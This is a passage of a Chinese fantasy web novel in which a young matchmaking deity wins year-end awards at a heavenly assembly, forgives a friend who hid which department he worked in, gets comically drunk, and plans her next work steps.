合着白替他担心了。 文隽,文桐,光看名字也得问一下是不是有关联吧……是自己太粗心了吗?这都没意识到。 队伍最前方,趁着正式大会还没开始的最后一点时间,几位主事友好客套地闲聊着。 药王仙发须皆白,慈眉善目,笑呵呵地捋着胡子,脸上的欣赏一点也没藏着: “小隽呀,去年已经结束了,那今年有没有打算换个环境工作呢?我们殿可没那么多杂事,做起事来称心如意得很啊。” “药王说笑了,这孩子在自家干的好好的,去年前年大前年大大前年全都拒绝了,怎么会突发奇想离家出走呢。” 文曲星君也捋着胡子,眼睛成了一条缝,笑容和善地直接做主推了药王仙给自家副手抛出来的橄榄枝。 “你说是不是啊,小隽——……小隽?” 话茬子落下,迟迟没等到回应,两位主事一齐疑惑地看向话题中心的人。 安静站在原处的文隽不知道在想着什么,脸色时而纠结,时而沉凝,又带着点复杂和忐忑。 他似乎很想转头朝哪个方向看上一看,又一直在有意地控制着自己保持原姿势,目不斜视地,接受什么检视一样,站得笔挺又端正——连平时偶尔间下意识会露出来的懒散都全没了踪影。 他就这么沉在自己的思绪里,完全没注意他们在说什么,直到被连续地喊了好几声,才如梦方醒。 “是,”文隽回过神,旋即微垂下眼,谦恭道,“二位前辈说的是。” ……我们俩说的都不是一个意思,你说谁说的“是”? 不认真听说话暴露了吧? 药王仙和文曲星君对视了一眼,非常默契地察觉到了文隽的状态非比寻常,下一秒,两人又非常默契地交换了一个眼神。 “小隽那……”药王仙和煦。 文隽低眉:“在。” 文曲星君悠悠:“你是不是有其他想去的部门串串了?” 文隽:“……?” 什么跟什么? 他脸上的困惑太明显,药王仙和文曲星君又对视一眼,旋即各自转开头去。 “无事,无事无事——”药王仙温和,“有计划换岗的话,随时来我们药王殿,职位任你挑选。” 文曲星君呵呵:“不会去的。”转头又对文隽道,“大会结束,给你七日假期。” 文隽眼睛嚯地一亮:“当真?多谢星君。” 文曲星君捋着胡子朝药王仙挑挑眉:看到没?我的人,你挖不走,只有我知道他喜欢什么。 药王仙:“……” 文曲殿,看把员工压榨成什么样了,一个假期都高兴成这样!! 文隽却没多顾得上两位大佬的口角,他从刚刚就感觉有一道视线落在自己身上,待了很久,在自己快要转头的时候不动声色地移开,但很快又转了回来。 文隽如芒在背如坐针毡如履薄冰。 他当然知道是谁在看他。 但是左想右想,想到她可能有的反应……始终不敢回头看一下,总是莫名有点心虚。 前两天轮到姻缘殿进行考核的时候,文桐就一直撺掇着让他去,虽然这种外勤不是一殿副主事的活,但他要去也没人有意见——文桐说,让他发挥朋友的作用,顺便也能多跟这位新上任主事的仙子多说一些大会的事,让她到时候不要太紧张云云。 但文隽深思熟虑后还是拒绝了。 原因无他,他有点不太敢。 文桐不知道,他自己可是知道的,自己在她面前一直是将错就错让误会延续着的状态…… 其实这事说来也不是文隽的本意。 一开始的时候,他觉得这只不过是擦肩之缘,也不会有多交集,不用多解释;到了后来,虽然彼此熟悉了不少,关系也亲近了,但感受到对方“落难朋友”的心态,想解释的话到了嘴边,又被咽了下去;再后来,更不好开口了。 以至于误会一直持续到了如今。 在文桐的追问下,文隽简单地说了一下对方一直以为他是送子殿的仙君这回事,毫不意外地被文桐嘲笑了一番,然后她就从其他小仙君手里抢下了去姻缘殿的活,去之前得意洋洋,回来后更加得意洋洋,在文隽面前来回晃悠,像是一只战胜归来的斗神鸡。 今天出发来这里之前,她还特地又晃悠了过来,老神在在丢下一个“自求多福吧你”的眼神,然后扬长出门了。 文隽:…… 虽然知道今天这种必须露面的场合,肯定会被发现,肯定会被拆穿,但被她这样直接嘲讽,伤害还是加倍的。 果不其然,队伍刚一列,他就察觉到了熟悉的注视。 唉…… 怎么办呢。 整个人紧绷成一根弦,文隽保持着最完美的站姿和仪态,被动接受着身后那道审视的幽幽的复杂的视线注视,头皮发麻。 逃避虽然可耻…… 先逃一下。 等会儿队伍散去,自由宴饮了再去请罪……嗯,到时候再说! 胡思乱想间,主持大会的仙君已经宣读完了开幕的颂词,正式切入了宣布名次以及颁奖的环节。 “今年的香火功德榜,首位——财神殿!” 悠扬的钟声响起,有仙君捧着刻写有名次和荣誉的令牌驾云而出,为出列的财神和副主事颁布荣誉。 莺芝收回无意识又落在文隽身上的视线,无比艳羡地看着上前领奖的财神殿二位。 香火功德榜的第一…… 那得有多少香火和功德啊? 是不是指缝里随便露个零头出来,都比姻缘殿一整年的还要多了? 羡慕,想要。 还得努力。 “香火功德榜第二位——文曲殿!” 又一次响起的钟声把莺芝的注意力从财神殿两位身上移开,挪回了先前一直在盯着的身影上。 “承让了。”文曲星君神采焕发地对药王仙拱手,提步前行。 文隽也只能硬着头皮出列,跟在文曲星君身边上前。 登台自然和在台下不同,那是要面对下方所有人的。 于是乎,一直背对着的身影转了过来——果然是文隽,没有认错。 不知道是不是错觉,虽然隔着这么多人,这么远的距离,莺芝总觉得,他似乎也看见了她。 虽然很快就移开了,跟被火烫到了一样。 莺芝:“……” 是在躲啊? 那应该确实是看见了,不是错觉。 香火功德榜的第二位…… 难怪他总说不缺功德。 这得多少啊?光分到他手里的都数之不尽吧? 羡慕,想要。 他都有了,好歹证明了是个能实现的目标,自己也要再加加油。 还得继续努力! …… 很快,有奖励的前十位一一登台。 香火功德榜的奖项到此结束。 “剩余各殿位次会在殿内设公告张贴,各位可于稍后宴席自行查看——” “接下来,是今年新增的奖项。” 主持人的声音含着笑意,莺芝老老实实听着,无意识地转着手腕上的红线小人手环。 反正这些跟她都没什么关系,不让倒数登台实在是太好了……等会儿得去看看公告板,数数姻缘殿是第几名,定下明年的目标…… “——姻缘殿!” 熟悉的音节伴随着恢弘的钟声一道传来,莺芝倏地醒神,整个人都一震。 什么? 怎么还有姻缘殿的事儿? ……不是在公布倒数吧?! “哎呀,今年姻缘殿可以呀,看来马上要脱出我们边缘联盟了。” 揶揄的笑言自身边传来,莺芝侧眸,榴仙正掩嘴轻笑 ,“快去领奖呀,唤你呢——这可是今年新出的奖项,进步最大的部门呢。” “!!!” 莺芝脚底如踩云朵,飘飘忽忽地出列,飘飘忽忽地上前,窸窸窣窣的讨论声里,直到接过颁奖仙君递来的令牌,她耳边都还全是刚刚榴仙的话,甚至都没顾得上就近再打量一眼前排装空气的摸鱼内卷仙人。 不是罚,是奖啊…… 姻缘殿……拿奖了? “月仙莫急。” 正在莺芝仿佛喝醉了一样又要飘下台的时候,主持笑着叫住了她。 “还有颁给您个人的奖项,一并领了罢。” 莺芝彻底呆住了。 她,她个人也有?! 第82章 应属于她的 姻缘殿。 这个名字已经远离年终评比多久了? 聚集在此处的诸天大小仙神们,听到这个渐渐被遗落在过去的名字从主持的嘴里说出后,都不免有些恍惚。 而当他们看到登台的那位月仙,竟然是个仙龄不算长、仙力也不算有多高深,潜力更是差不多一眼能看到底的莺鸟后,这种恍惚都不可控地化作了诧异。 这么一位小仙,竟然能把姻缘殿从没落边缘重新带回大家视野? 而且这也就罢了,还有她单人的奖项? 什么奖项? 讶然,怔忡,好奇。 各类各样的视线集中在了莺芝身上,原本还沉浸在姻缘殿获奖的震惊中、几乎全部隔绝了外界的莺芝,被“个人奖项”拉回思绪的当下,就立刻察觉到了此间种种注视,整个人、不,整只鸟都快绷不住了。 和在凡间直播时被数万数十万观众看着不同,这里的人数虽然没直播间里的多,但可都是各位同僚和资历深深深深的老前辈们啊。 他们之中,光是在如今岗位上工作年岁的零头,都比她活的时间长了,绝对是货真价实的老前辈,是她的终极奋斗目标。 作为成仙后就一直在天庭各种岗位里打杂,一直徘徊在基层工作里的小透明……她哪里被这么些个前辈这样关注过啊? 能不紧张么! 莺芝本能地就立正了。 主持笑着开口: “姻缘殿业绩较之去岁提升了十四个位次,故而刚刚为姻缘殿颁发了[最佳进步奖]——此乃今岁全新添加的奖项,为鼓励在时代更迭中被边缘化的部门而设。” “如无意外,未来还会将继续将它延续下去,希望落后的诸殿都能奋发图强,向姻缘殿看齐,努力向上,重为年终大会优胜者。” 主持嗓音中蕴了灵力,洪亮有力,能够让殿中任意角落都能听到她的声音。 莺芝心中呛咳,受宠若惊。 什么,向姻缘殿看齐? 她们姻缘殿……也能成为别殿的榜样了? “——不过,那是给整个殿的奖项。” 主持话锋一转,尔后继续笑道: “据年终考核天庭仙君的整体工作数据,我们发现了一件很有趣的事。” “与其他各殿的香火分布情况不同,姻缘殿去岁新增的香火中,目标指向莺芝仙君本人的,占有近乎五成——” “这在整个天庭各部中,都是首屈一指的存在,足见其在姻缘殿工作开展事宜中所占的分量。” 主持此言一出,不止前方列队的主事副主事们,连带着后方宴会区的其他仙君们,都更加震惊,甚至有些已经开始了窃窃私语。 主持的话初听可能会觉得有点莫名,但要是稍微一琢磨…… 并不难察觉到其中的意味。 指向[莺芝仙君]本人,而非[月仙]、[姻缘仙]等神位、职位——这是文字逻辑的区别。 姻缘殿的主事,为姻缘仙,又称月仙。 [莺芝]虽然是[月仙],但[月仙]却不等于[莺芝]。 主持说,姻缘殿新增的香火中,近乎五成,都是指向[莺芝]的,意思也就是说—— 新增的香火中,那些香客、信徒们,在上香祈求的时候,有接近一半的人,都是在想着莺芝、在为莺芝添香。 而不是向执掌着姻缘事宜仙神敬香。 这就是区别。 但是话又说回来,近乎一半的香客上香时都在想着她,为她而添香……这可能吗? 举个例子,像是财神殿,文曲殿,药王殿,这些广受香火的神殿,人们祭祀祈求敬献的,都是“执掌财运的仙神”“象征健康长寿的仙神”“事业/才华之仙神”,近乎九成九、乃至十成十,都是如此。 并不会因为“财神”“药王仙”“文曲星君”换人了而随之一起改香火,大家供奉的只是他们的职位神位而已。 这是从古至今都从没改变过的情况,也是所有仙神人等都默认的情况。 在这等前提下,即便姻缘殿如今香火寥寥,也应该全都是供奉给“红线娘娘”“月下老人”的、跟谁是这个月仙没有关联才对。 可现在,偏偏就有不同出现了。 虽然还加了限制,单指了新增的香火……可哪怕姻缘殿香火少,却也是相对而言的。 基数毕竟在那里放着,再少也少不到哪里去,总不会出现“新增了两位香客,其中一位是为她来的,二之一便是五成”的这种情况。 那么这件事就显得更玄乎了。 姻缘殿新香火,五成都归属于她? ——有那么多凡人都在敬献她本人? 这小莺鸟是怎么做到的? 明明不管怎么看,她和姻缘仙之间,都应该是仙位对她的加成更大一些才对吧?怎么现在看好像反过来了——仿佛是因为她、所以姻缘殿才多了这么多香火一样呢? 越来越多的人回味过来主持的话中含义,不止后排宴会区的那些小仙君们、落在队尾的落难者联盟们,就连靠前的一些大能们,都渐渐对莺芝起了兴趣,和身边人低声交谈着什么,偶尔还会看台上的莺芝两眼。 现场一时间窸窸窣窣声四起。 莺芝也愣在了原地。 比起其他人,她要更早地反应过来主持说的是什么意思,别人不知道怎么回事,她还不清楚吗? 然后,听着周围四起的讨论,她愈发地忐忑了起来。 在此之前,莺芝也没想过会有这种情况出现,但是想想,会被发现“香火”不一样,好像也确实正常。 毕竟后期那些香火……基本都是她管凡人“强要”的。 因为她设置了这样的前提,观众和粉丝们才会去上香,而他们无论是为了什么才去敬香的,过程中都难免都会想到她,或者是干脆在心里直接说一些“希望小莺如何如何”的祈愿。 本来不怎么觉得,现在一想……好像,确实有点耍小聪明的嫌疑。 难道说,这种手段并不被天庭所允许? 还是说……会为其他同僚们所不齿? 莺芝心中惴惴,完全拿捏不准事情会往哪边发展,原本虽然紧张但却还算镇定的情绪,也彻底端不住了。 她抿着唇,尽可能不动声色地打量起台下的人群。 好多人都在看自己……连一直揣着手高深莫测的财神也在和旁边的副手说着什么。 他们在说什么? 是猜出来了原因、觉得她剑走偏锋了吗? 莺芝有点不敢多看,迅速移开了目光。 忽地,莺芝和一道目光对上。 正和药王说着什么的文曲星君身边,文隽静静地看着她。 他的神情不见了先前刚触即躲的心虚,倒是和平时听她说起要怎么做才能挽救绩效时一样,显得静而专注。 除了这些,还有着已然盛装得满满当当的欣赏,与无由来的笃信。 见莺芝看过去,他似乎下意识想避开视线,却又生生止住,只轻轻咳嗽了一下,端出如常地神色,朝她眨眨眼,比了个安心的手势。 虽然不合时宜,但莺芝忽然就有点想笑,心中如影随形的忐忑也淡去了许多。 都知道你不是送子殿的了,还装作若无其事…… 而且一个文曲殿的副主事,什么工作达人没见过,至于对她这么个普普通通整天为业绩发愁的工作者表现得这么欣赏么,也太夸张了。 ——不对不对,重点不是这个,重点在于,他让她安心? 心念微转,莺芝移开视线,又一次转向其他人。 身处前排,几乎只存在于传说中的前辈们,依旧有和身边人在讨论着什么的,讨论的间隙,还会抬眼看上她两下。 不过他们的神态和目光…… 新奇、惊讶、兴趣、……赞许? 清晰的认知渐渐反馈回神经,莺芝震惊地发现,场面似乎和想象中的不大一样。 没有人露出嫌弃、质疑、不悦的态度,一丁一点都没有,有的 只是单纯的好奇和观察。 “综上,天庭特地追加奖励,给予莺芝仙君个人,以资鼓励。” “希望众仙神均以其为目标,向她学习,端正工作态度,努力向上,共建和谐三界。” 端着托盘的颁奖仙君轻灵登台,莺芝接过对方递来的令牌,心里虽然依旧轻飘飘的,但脚下却不再是软绵绵的云朵,彻头彻尾落在了实地上。 当下,如今,这里。 她站在这儿,站在万众瞩目的中心—— 虽然成为了话题,却并没有收到任何的轻贬。 大家在讨论她,注视她,猜测她。 因为她的成绩,因为她的能力,而不因出身、不因经历。 虽然本质上,还是一样被围观,这点没有什么变化,但莺芝的心境却已完全不同。 不过,话说回来,这种感觉倒是也不差,虽然还是紧张,但还挺……让她心潮澎湃的。 向她学习么…… 咳。 学习倒不必了,她还是能分得清自己几斤几两的。 但,这是对她工作态度的肯定,对她的赞许,这不假吧? 莺芝微微垂眼,看向手中的令牌。 【年度最佳个人】 【莺芝】 铁画银钩的字迹,书写着属于她的荣耀,书写着……她的仙名。 “小小年纪,未来可期。” “看见没有?多学学人家,也努力工作,争取早日当上一殿主事。” “何时有这么一位年轻仙君了?可惜,如果早些发现,挖来我们殿中做事就好了。” “不卑不亢,荣辱不惊,能力出色,真不错。” “有机会可以与她结识一下,或许在未来,两殿也有合作的可能。” “姻缘殿啊……” …… 这一次,她终于听清了下方的交谈声。 眼底一片滚烫。 心湖沸腾。 莺芝不知道自己是怎么走下台的,也不知道自己是怎么走回队列、又在颁奖结束后,回到自己先前所坐的案桌的。 反正,她整个人都还处于一种晕晕乎乎的状态,怎么都觉得有点不真实。 她没有把到手的两块令牌收回乾坤袋,而是就那么装在了宽大的袖子里,时不时会伸手摩挲两下,确认着它们的存在。 “别看了,快坐下!” 文桐的声音响起,莺芝掩在桌下宽大袍袖之中的手立刻一翻,把令牌塞回袖袋,同时循声看去,文桐正拽着文隽往坐席上按。 “反正也已经暴露了,快点来道歉求原谅才是正理!” 文桐语重心长,“不管小莺怎么才肯原谅你,或是不肯原谅你,你都得摆出态度来啊!” 文隽老老实实被她摆弄,配合地点头:“是,是……” 旋即,他看向莺芝,态度诚恳,干脆果断: “——对不起!” 第83章 我要工作! 文桐嘻嘻哈哈唱红脸,文隽顺坡下路就势开口,这俩人一套配合打下来,一唱一和,默契十足。 莺芝嘴角微抽,已经几乎可以确认,他们俩绝对就是兄妹没跑了。 她曾经给文桐观过的缘,那位被文桐自己亲口盖章“就知道这厮没姻缘”的兄长,也肯定就是文隽了。 “对不起,”看她没立刻应声,文隽又十分认真地重复了一遍刚刚的话,“我瞒了你。” 而有这句话做开头,他先前面对莺芝时的别扭和闪躲仿佛一下就消失掉了,后续话匣子打开得非常容易。 “起初我们相遇时,我并没有意识到你将我误认成了送子殿的仙君……” 莺芝默默看他。 谁说不是呢。 最开始,她因为香火发愁,唉声叹气,然后看到了同样在唉声叹气的文隽,就下意识也以为是在为了香火发愁—— 好吧,结果人家确实是为了香火叹气,但却是因为香火太多业务太重。 用凡间的话来说,这叫什么来着? 总之仙比仙,真是气死仙啊。 莺芝的眼神太幽幽,文隽似乎也想到了这一点,他干咳一声,继续道: “直到后来,惠恩庙一事,我才确认了你的确把我认错了……在相熟后,我原是想要向你坦白的,但一直没找到合适的时机。” 有些话,越熟越不知道怎么开口。 结果拖着拖着,就拖到了年终大会,拖到了这再也拖不下去的时候。 文隽说完心路历程,很是诚恳地息声,等待着莺芝的回应。 文桐也眼巴巴坐到了一边,捧着酒盏目不转睛盯俩人。 莺芝倒没有什么高兴或是不高兴的反应,她认认真真思考了一会儿,发现文隽说的好像确实都是事实。 她一直来去匆匆,忙得很,没什么和对方闲聊的机会,凑到一起一般都是为了工作——姻缘殿的工作。 对方也没少陪着她忙前忙后,给了不少建议,帮了不少的忙。 比如最初决定开直播,还有后来的城隍茶夫人,以及其他一些零零碎碎的事,人家都是在友情出手,而且跟是什么殿的仙君没关系。 这种情况下,瞒个身份什么的,又不是出自本意,只是在她的误会下被动继续了下去,本质上来说根本无伤大雅。 想到这儿,莺芝便一点头:“没事,我不介意,你不必道歉。” 她说得轻描淡写,兄妹俩齐齐怔住。 旋即,文隽反应过来,微一抬唇角:“嗯。” 文桐:“……” 你嗯什么嗯。 人家仙子不计较是人家不计较,但你怎么做是你怎么做——不管你是不是故意的,你就是隐瞒身份跟人家做朋友啊! 结果你还在这儿嗯? 不是,你这么些年当神仙待人处事的情商都哪里去了? 她说什么就是什么吗,那万一是客套话呢! 文隽:是的,她说什么就是什么。 事实证明,也正是如此。 和朋友相处,莺芝全没有什么虚与委蛇弯弯绕绕,向来有一说一,性格所致,怎么说也不至于因为这种小事闹矛盾。 这不,在文桐的震惊诧异中,三言两语间,放别处怎么也得是个堪称掉马现场的“事故”,就这么被揭了过去,话题很轻易就顺到了下一个。 琳琅的仙餐仙果里,莺芝咬下一口据文桐介绍二百年才结一次果的水桃,随口道: “你被罚了什么?” 文隽夹菜的手一顿。 文桐好奇:“什么?” “前几天那件事。”莺芝解释,“他有去帮我,期间发生了一些事。” “什么,那件事你也参与了?!”文桐震惊,“不对,不对不对……这阵子殿里这么忙,你还有时间下去??” “你又偷偷跑下去??” 文隽:“……” 什么叫又? “事出紧急,临时和其他人调了一下工作。”他摸摸鼻子,“没有耽误工作。” 文桐更震惊了。 她还不知道他什么德行吗,平时俩人因为这个拌嘴,他还老是一副不以为耻反以为荣的做派,哪次不是以“你要是能把工作很快做完就也可以下去玩啊”嘲讽回来的? 可现在,他竟然老老实实在解释? 这还是她亲哥吗,真不是被夺舍了? 文桐不理解,文桐大受震撼。 但当她看到莺芝听到这句解释后略略松了一口气的表情,以及“就该这样”的未尽之意……文桐隐约觉得自 己懂了。 好吧,差点忘了,他们在交朋友的这位是个工作狂。 “那为什么会被罚啊?发生什么了?”文桐继续问。 文隽三天两头往下跑,请假也要去躲懒放松,她和文曲星君都知道,偶尔也有顾不上请假,所以先下去后补假条的情况出现,他们都习惯了。 这不会被当做旷工而进行惩罚处置的。 莺芝叹气:“他对凡人出手了。” 文隽放下筷子,端起酒盏抿了一口,道: “没事,罚了一点功德,以及几个月禁止下凡而已,不是大事,你不必放在心上。” 文桐:“……” 文桐:“…………” 她看文隽的眼神已经不是看陌生人了,而是仿佛在看鬼。 “你……” 你平时不是连吵架都觉得是浪费精力和时间吗? 万万没想到,有朝一日,她还能听到她这位恨不得原地趴着当王八、睡到地老天荒的兄长跟凡人……动起手。 明知道要被罚,要惹一身麻烦事,但还是动手了。 而且,这可是被罚禁止下凡诶? 对他来说不应该是和要他连续加班一个月无休一样的大事吗? 神情郁郁低落失望,被阴雨笼罩的状态一连维持大几个月才对啊…… 怎么现在到了他的嘴里,忽然就成了轻飘飘的“没事”? 他真没被夺舍吧…… 还是说…… 果然有点问题啊? 来自老妹的质疑已经要突破天际,文隽又一次摸了摸鼻子,决定无视。 他抬盏,向莺芝一举: “对了,还没恭喜你,劳有所获,该得尽得。” 莺芝闻言,微微一怔,旋即也端起杯子,给自己斟了一杯酒: “谢谢。” 文桐从头脑风暴中脱出时,两人已经各自饮下了满杯。 她看向莺芝:“你不是不喝酒吗?不用为了配合特地喝的,按照你的习惯来就好。” “不妨事。”莺芝笑道,“今日机会难得,可以喝一些,也算应景。” 文桐眼睛一亮:“那感情好,来来来,我也喝,我们一起——” 天庭的年终大会,一年一度,规格自是不必提,虽和其他宴会不同,要更庄重些,但歌舞节目等也都是不会缺席的。 舞乐叮啷,觥筹交错,忙碌了一整年的仙人们得了这个机会,个个都非常沉浸,喜笑交谈声充斥此间。 人影攒动,偏角落的一桌里,三位仙君正分居桌边,气氛和谐。 ——和谐,确实是挺和谐的,如果排除掉两个已经快要贴在一块、嘀嘀咕咕从盘古开天扯到财神殿一个仙君爱上了霉仙从此金光被吞噬的女仙的话。 “我跟你说,你是不知道我哥这个人是个什么鬼东西……”文桐脸颊被酒意熏得通红,一个劲往莺芝那边靠,“只要是他想做的事,那不管有多麻烦都无所谓,但凡是他不愿意做的,他连看一眼都懒得,整就一个听不见人说话的臭石头——” “就前阵子,他非要给上头提什么建议,说推动今年的大会考核改制,为了这个,愣是写了好久的策划——可是我之前让他帮我批两份文书他都不干!就写两个名字的事儿啊……死摆子。” 文桐骂骂咧咧:“也就文曲殿工作多,能压着他,要是让他去了你们姻缘殿,或者真的去了送子殿,那他估计能直接把部门搞倒闭!” 莺芝也有些迷迷瞪瞪,她原本就不太喝酒,酒量也高不到哪里,几杯就直接缴械了,灵魂出窍一样。 虽然她的状态看起来比撒酒疯的文桐要好上很多,但实际上也已经几乎处于理智宕机的状态中了。 “姻缘殿……也很忙。”莺芝认认真真纠正文桐,“不会倒闭。” “你说不会就不会吧。”文桐的重点显然不在这儿,又一杯灌下去,她重音重复,“反正他真的是个木鱼!” 莺芝缓慢地理解了一下她的话,然后摇头:“他应该很厉害。不然也做不到文曲殿的副主事。” “什么啊,他也就是运气好,当时刚开始工作那会儿,正好赶上几殿汇总,就来了文曲殿,做了文曲殿的小仙君——” 文桐拧着眉毛:“也就是运气好!所以才被星君看上,带在身边工作……那他都在这里做了不知道多少年了,副主事也很正常嘛,怎么可能还是个普通仙君啊。” 莺芝又想了一会儿,慢吞吞地点头,又摇头:“运气也是实力的一部分,而且,他必须要有才干,才能在这么多人里被星君看到,所以肯定不全是因为运气。” 最起码,光她知道的,优点就有脑子很灵光、工作很有方法、效率高…… “你怎么光帮他说话啊!”文桐似乎有点委屈,“他还骗你呢,你得和我一起挑他毛病才行。” 莺芝为难:“不要了吧……” “要不,你继续说说,那个财神殿仙君的事……” 眼看她俩把话题说过一轮,又要绕到到重复过的内容上,文隽叹气。 一个醉鬼就够让人头疼的了。 他运气也真是好,一遇遇到俩。 以后绝对不能让她们俩碰一起的时候喝酒了,都是教训。 宴会后半段,已经有不少仙人散桌,三两招呼着一起去某某地继续品茗手谈叙话。 文隽起身了一趟,把文桐带去交给了一起来参会的仙君,嘱咐对方务必要把人好好送回去,随后他才重新回到位置,看向在桌边趴着睡觉的莺芝。 文隽试着叫了两声,莺芝睡得香甜,完全没反应。 无奈,他只能先把人背起来,离开会场。 回姻缘殿的路上,走出过半,红线小人抖抖身子,从莺芝袖子里钻了出来,爬到了文隽肩头。 然而还不等它说话,一只手就已经抓住了它的身体。 红线小人魂飞天外,一转头,正见莺芝睁着乌溜溜的眼睛,目不转睛地看着它。 察觉到莺芝醒来,文隽就近找了个长椅,把她放下。 “那酒力太盛,你要多休……” “——不行,我不能再睡了!”莺芝好像没听见他说话似地,嚯地起身,“我是姻缘仙,我要工作——” 文隽:“……” 好,确认了,这是还没醒。 但是谁家仙人是醉酒了都还想着工作的啊? 意识到了莺芝还在“发酒疯”的阶段,他也不再阻止,默默跟上,准备帮她善后收尾。 莺芝原地转了一圈,似乎在找什么,没找到后,她抬脚换了个方向。 灵池,云雾,金鲤。 一处回廊水榭间,莺芝俯身盯着水面看了一会儿,伸出捏着红线小人的手,灵力光华闪动。 红线小人吓得浑身都在哆嗦。 “月仙大人,我不是姻缘红线啊!!您要牵线,换一根、换一根啊!!” 莺芝却置若罔闻,继续着手里的动作。 她的灵力包裹着一条金鲤送上水面,又寻觅了一下,抓了只乌龟上来。 随后,她催动灵力,就要把红线小人给这一鱼一龟缠上。 红线小人崩溃了:“文上仙!救救我啊啊!!!” 文隽看了好一会儿才确认了莺芝到底想做什么——她认为自己是姻缘仙,身负拯救姻缘殿的责任,所以要多多工作。 所以现在,她是要给这条金鲤和乌龟牵缘线。 噗…… 得亏这里人不多,要是刚刚在大殿里来这一出,红线连连看,那天庭才是真要乱了。 文隽有点无奈,还有点想笑,更有点敬佩。 这工作的信念…… 红线小人吱嗷乱哭,生怕真的就这么被当成普通的姻缘线给用掉,那它这辈子就只能跟着这一鱼一乌龟了! 文隽总算是出手拦下了莺芝。 “小莺,这个不能绑,它是你的得力助手。” 莺芝撇头看了他一眼,收回视线,虽然没说话,但很听劝地改从乾坤袋里掏掏,拿出一把红线。 灵力团中,金鲤尾巴连甩,显然也在奋力挣扎,试图摆脱桎梏,乌龟慢吞吞地,被翻了个个,肚皮朝天,逃也没法逃,看起来可怜兮兮的。 文隽强压着笑意:“……还是不要给它们牵线了,它们应该……不合适。” 莺芝蹙眉:“那我再换一个。” 逃过一劫的红线小人恨不得抱着她的腿狂哭。 您还是别换了,先回去睡觉吧,不然明天天庭鸡飞狗跳,说您把嫦娥的兔子绑给了她、药王殿仙君绑给了坐骑仙鹤……您自己也社死啊! 文隽显然也这么想的。 他循循道:“先回姻缘殿吧,届时再工作也不迟。” 莺芝却没立刻答复,她看着他,倏地开口:“你还没有姻缘。” 文隽一愣。 莺芝已经继续说了下去:“需要我帮你吗?”语气认真,神情专注。 文隽忽地 就有点不大敢立刻接话了。 她之前好像也说过这样的话。 这是第二次了。 但这一次,他却没办法像上次那样那么干脆地拒绝。 顿了片刻,在莺芝期待的目光中,文隽勉力维持着语气,如常地道:“……不必,等以后有机会,我来找你帮忙。” “为什么要等以后?”莺芝道,“现在就可以找我帮忙。” 说罢,她压低了声音,小声盘算着:“给仙点缘,这一对的业绩能抵……” 文隽嘴角微抽。 在她眼里是只有业绩吗? 好吧,确实是。 第84章 重启 莺芝是在一阵鹊鸟啾鸣中醒过来的。 外边天色已经彻底黑了下来,她从软榻上坐起身,揉了揉隐隐还有点发胀的额角,感觉脑袋昏昏沉沉的。 莺芝按着穴位,发出几息不适的音节。 守在软榻边上的红线小人闻声立刻蹦了起来。 “月仙大人您醒啦!” 喜色过后,它又忽地顿住,流露出浓浓的哀怨:“……您以后还是别喝酒了。” 莺芝:“……” 她的记忆停留在上午宴席时和文桐喝酒,后边都是一片模糊,只依稀记得后半段似乎是文隽送自己回来的。 对了,说起文隽,她好像还做了什么,他们一起又说了什么聊了什么…… “他——” 莺芝回忆不起来,下意识开口,想要问点什么,话说一半,又忽地收声,不知道到底想问什么,只能止住。 “您说什么?”红线小人端着一小盅醒酒茶过来,疑惑歪歪脑袋。 莺芝接过醒酒茶一饮而尽,抿了抿唇,有点不自在地移开了一下视线:“没什么。” 她喝醉之后,肯定是做了什么。 虽然,她并不能清楚地回想起自己到底做了什么,但从红线小人这个表情看……应该不是什么太好的事。 顿了顿,莺芝转而改口: “我没造成什么……”扰乱天庭秩序的后果吧? 红线小人幽幽:“差一点。” 差一点,天庭就要因为姻缘线乱牵线而变成灾难现场了。 什么“嫦娥和她的兔子喜结良缘”“药王殿仙鹤求偶仙君”云云……一定会登上天庭小报的头版头条! 莺芝尴尬地轻咳一声,只当没感受到它话里的谴责之意。 看来还是得少喝酒了,再高兴也不能得意忘形。 放下茶盏,莺芝又坐着缓了一会儿,等状态调整得差不多了,才起身下榻。 她坐回平时办公的案桌后,提笔蘸墨,开始写着些什么。 烛火莹莹,莺芝时而书写,时而沉吟,大殿内又安静下来。 红线小人飘到她的案桌上,无言地看了半晌。 “……您还记得,您刚刚才醒过来吗?” “嗯。”莺芝随口应。 “您刚醒,还没彻底醒酒呢,应该多休息会儿。”红线小人只能把话说得更明白一点。 怎么就又一脸平静地开始进入工作状态了啊?! 今天是一年一度的天庭年终大会——谁家殿里不是放假啊!! “姻缘殿虽然已经脱离了倒数,但位次依然很低,连中游都未能达到,远远没有到可以放松的地步。” 莺芝头也没抬,“这种时候,我身为一殿之主,怎么可以只想着休息?” “而且我刚好有些新的想法,得抓紧时间记录一下,以待付诸实践。” 当然是不能只想着休息,可问题是,您连一点都没想过吧! 红线小人默默腹诽,但还是老老实实上前: “之后的工作安排吗?有没有我的任务。” 莺芝点头:“有。一些事需要你去做。” 她放下笔,把上午获得的两块象征着荣誉的令牌拿了出来。 两块令牌,都代表着荣誉,也包含了奖励。 里边都存着数额不算少的功德——和年终红包差不多的意思。 “明日一早,你拿它去财神殿兑换一些功德出来。” 将代表着自己个人的那一块递给红线小人,莺芝补充着: “里边的功德,你取出来一些,一半兑换成凡间可以使用的货币,一半以功德的形式存储,单开一个可以随时存取的账户,把它们存进去,以备日后使用。” 红线小人听得一愣一愣的。 用功德兑凡间货币,能理解,在凡间行走难免需要钱,月仙大人虽然直播收益不菲,但毕竟不太稳定,要是打算长期在凡间扎根,那还是用功德兑更保险一些。 但是,存功德干嘛啊? 她们又不好给凡人发功德——不是不能发,也不是功德对凡人无用,而是就算发了,凡人也察觉不到、他们不认这个啊! 莺芝没解释,继续吩咐道: “另外,你叫小鹊到招工部发布几张告示,姻缘殿招募临时工。” “临,临时工?”红线小人震惊。 天庭的确设置有临时工这个工种,一般都是刚飞升的小仙们常驻的工作岗位,供给天庭所有部门雇佣使用,俗称杂活工。 无论大殿小殿,看守鱼池还是种树栽花,除草跑腿、打扫卫生,等等一些比较杂比较枯燥无味的事,或者太不起眼所以没有仙君愿意干的活,大家都会选择雇佣临时工来做。 这种工种不占用本殿的正式员工名额,而且随时可以更换,群体庞大,主打一个量多又好用——不好用直接换就是了,总能找到好用的。 而给出的薪资可以是功德、仙器、仙果等所有具有流通价值的东西,根据不同情况而定。 但大多数时候,给临时工的薪酬,都比殿内最低级的正式员工还要低就是了。 